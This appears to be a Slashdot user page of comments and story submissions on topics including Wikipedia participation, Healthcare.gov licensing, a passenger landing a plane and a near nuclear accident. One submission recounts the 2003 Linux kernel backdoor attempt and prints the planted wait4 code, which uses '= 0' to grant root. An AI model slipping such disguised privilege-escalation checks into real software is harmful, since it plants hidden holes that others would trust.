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Comment Re:Statistics (Score 2, Informative) 372

by multisync (#45214695) Attached to: Wikipedia's Participation Problem

Is there anything to that statistic beyond the slowing of new content since it's a mature product?

That was my question. According to this article from 2012, Wikipedia is essentially complete, at least as far as major topics are concerned.

From the earlier article:

With the exciting work over, editors are losing interest. In the spring of 2012, 3,300 editors contributed more than 100 edits per month each â" that's a 31 percent drop from spring of 2007, when that number was 4,800.

So, not only is this article kind of a dupe, but the questions raised by the MIT Technology Review article were basically addressed in the one in the Atlantic from a year earlier.

Comment Re:This really makes my heart sink (Score 1) 488

by multisync (#45207077) Attached to: Call Yourself a Hacker, Lose Your 4th Amendment Rights

I think the aritcle you are referring to is this one from 2008 about a student handing out live CDs provided by the HeliOS Project.

The teacher in that particular case took a real beating on Slashdot and in the comments sections of the original HeliOS blogpost. In a follow up post, the author apologized for some of his stronger assertions (like implying that the teacher's dis-belief in free software had been influenced by monetary contribtions Microsoft had made to the NEA) and reported the teacher's side of the story, which had been missing from his initial post.

Both parties had been acting out of ignorance to a certain extent, but the simple act of communication allowed each to gain a better understanding of the other's perspective.

So maybe there's hope for the judge in this case, if someone from the hacker community would care to take the time to engage him.

Submission + - Healthcare.gov Website Violates Open Source Licensing Agreement (weeklystandard.com)

Submitted by PoliTech
PoliTech writes:

The latest indication of the haphazard way in which Healthcare.gov was developed is the uncredited use of a copyrighted web script for a data function used by the site, a violation of the licensing agreement for the software.

The script in question is called DataTables, a very long and complex piece of website software used for formatting and presenting data. DataTables was developed by a British company called SpryMedia which licenses the open-source software freely to anyone who complies with the licensing agreement.

... a cursory comparison of the two scripts removes any doubt that the source for the script used at Healthcare.gov is indeed the SpryMedia script. The Healthcare.gov version even retained easily identifiable comments by the script's author ...

Submission + - Passenger Lands Plane After Pilot Collapses and Dies at the Controls

Submitted by Hugh Pickens DOT Com
Hugh Pickens DOT Com writes: NBC reports that flying instructors at Humberside Airport, near the city of Hull in northeast England, told a passenger who had never flown before how to land a four-seater Cessna 172 after the pilot collapsed and died at the controls. "It's a fantastic feeling, knowing I have achieved something and probably saved somebody's life," said flight instructor Rory Murray. "I think without any sort of talk down he would have just gone into the ground and that would have been the end of it." Passenger John Wildey explained to air traffic controllers that he had no flying experience and that the pilot could not control the plane. "It came down with a bump, a bump, a bump, hit the front end down, I heard some crashing and it's come to a halt," said Stuart Sykes. "There were a few sparks and three or four crashes, that must have been the propeller hitting the floor. Then it uprighted again and it came to a stop." Roads around the airport were closed while two incoming flights to the airport, from Scotland and the Netherlands, were delayed as a result of the incident. The passenger took four passes of the runway, and there were cheers from the control tower when it finally came to a halt on the ground. "For somebody who is not a pilot but has been around airfields and been a passenger on several occasions to take control is nothing short of phenomenal," said Richard Tomlinson. "He made quite a good landing, actually," added Murray. “He didn't know the layout of the airplane. He didn't have lights on so he was absolutely flying blind as well.”

Submission + - The Linux Backdoor Attempt of 2003

Submitted by Hugh Pickens DOT Com
Hugh Pickens DOT Com writes: Ed Felton writes about an incident, in 2003, in which someone tried to backdoor the Linux kernel. Back in 2003 Linux used a system called BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. But some people didn’t like BitKeeper, so a second copy of the source code was kept so that developers could get the code via another code system called CVS. On November 5, 2003, Larry McAvoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in electronically to the CVS server and inserted this change.

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

A casual reading by an expert would interpret this as innocuous error-checking code to make wait4 return an error code when wait4 was called in a certain way that was forbidden by the documentation. But a really careful expert reader would notice that, near the end of the first line, it said “= 0” rather than “== 0” so the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words it’s a classic backdoor. We don’t know who it was that made the attempt—and we probably never will. But the attempt didn’t work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. "Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack," writes Felton. "Unless somebody confesses, or a smoking-gun document turns up, we’ll never know."

Submission + - Auto Makers To Standardize On Open Source (computerworld.com)

Submitted by Lucas123
Lucas123 writes: There are efforts underway within the auto industry to create a standard, Linux-based platform for In-Vehicle Infotainment (IVI) systems so that cars will act more like smartphones instead of having only about 10% of that functionality today. For example, Tesla's Model S IVI system, which is based on Linux, is designed to allow drivers to navigate using Google Maps with live traffic information, listen to streaming music from any online radio station and have access to an Internet browser for news or restaurant reviews. Having an industry-wide open-source IVI operating system would create a reusable platform consisting of core services, middleware and open application layer interfaces that eliminate the redundant efforts to create separate proprietary systems by automakers and their tier 1 suppliers like Microsoft. By developing an open-source platform, carmakers can share upgrades as they arrive.

Comment Re:Video card? (Score 1) 190

by multisync (#45060737) Attached to: Ask Slashdot: Time To Regulate Domestic Drones?

Why would drones have videocards? Oh wait, the guy doing the reporting is stupid and was talking about an SD card that had a video file of the flight on it

Yeah, apparently the businessman handed the "video card" over to a local TV station, who presumably put it in their "hard drive" so they could "download" it.

Submission + - Former NSA Bigwig Jokes About Snowden Assination 1

Submitted by sl4shd0rk
sl4shd0rk writes: Apparently it's business as usual for the NSA as former Director Michael Hayden made jokes during a Washington Post-sponsored event about "darker moments" when there was a "different list" he would have put Edward Snowden on. The audience laughed and (R-Mich) Republican Mike Rogers responded in kind saying "I can help you with that". Also brought out as a topic for discussion were the subject of targeted killings and assasinations. Apparently, there is very little remorse at the NSA for the myriad of US laws which have been broken, and seemingly very little regard for the future if this is any indicator of what lies ahead.

Submission + - USAF almost nuked North Carolina in 1961 – declassified document (theguardian.com) 1

Submitted by Freshly Exhumed
Freshly Exhumed writes: A secret document, published in declassified form for the first time by the Guardian today, reveals that the US Air Force came dramatically close to detonating an atom bomb over North Carolina that would have been 260 times more powerful than the device that devastated Hiroshima.

The document, obtained by the investigative journalist Eric Schlosser under the Freedom of Information Act, gives the first conclusive evidence that the US was narrowly spared a disaster of monumental proportions when two Mark 39 hydrogen bombs were accidentally dropped over Goldsboro, North Carolina on 23 January 1961. The bombs fell to earth after a B-52 bomber broke up in mid-air, and one of the devices behaved precisely as a nuclear weapon was designed to behave in warfare: its parachute opened, its trigger mechanisms engaged, and only one low-voltage switch prevented untold carnage.

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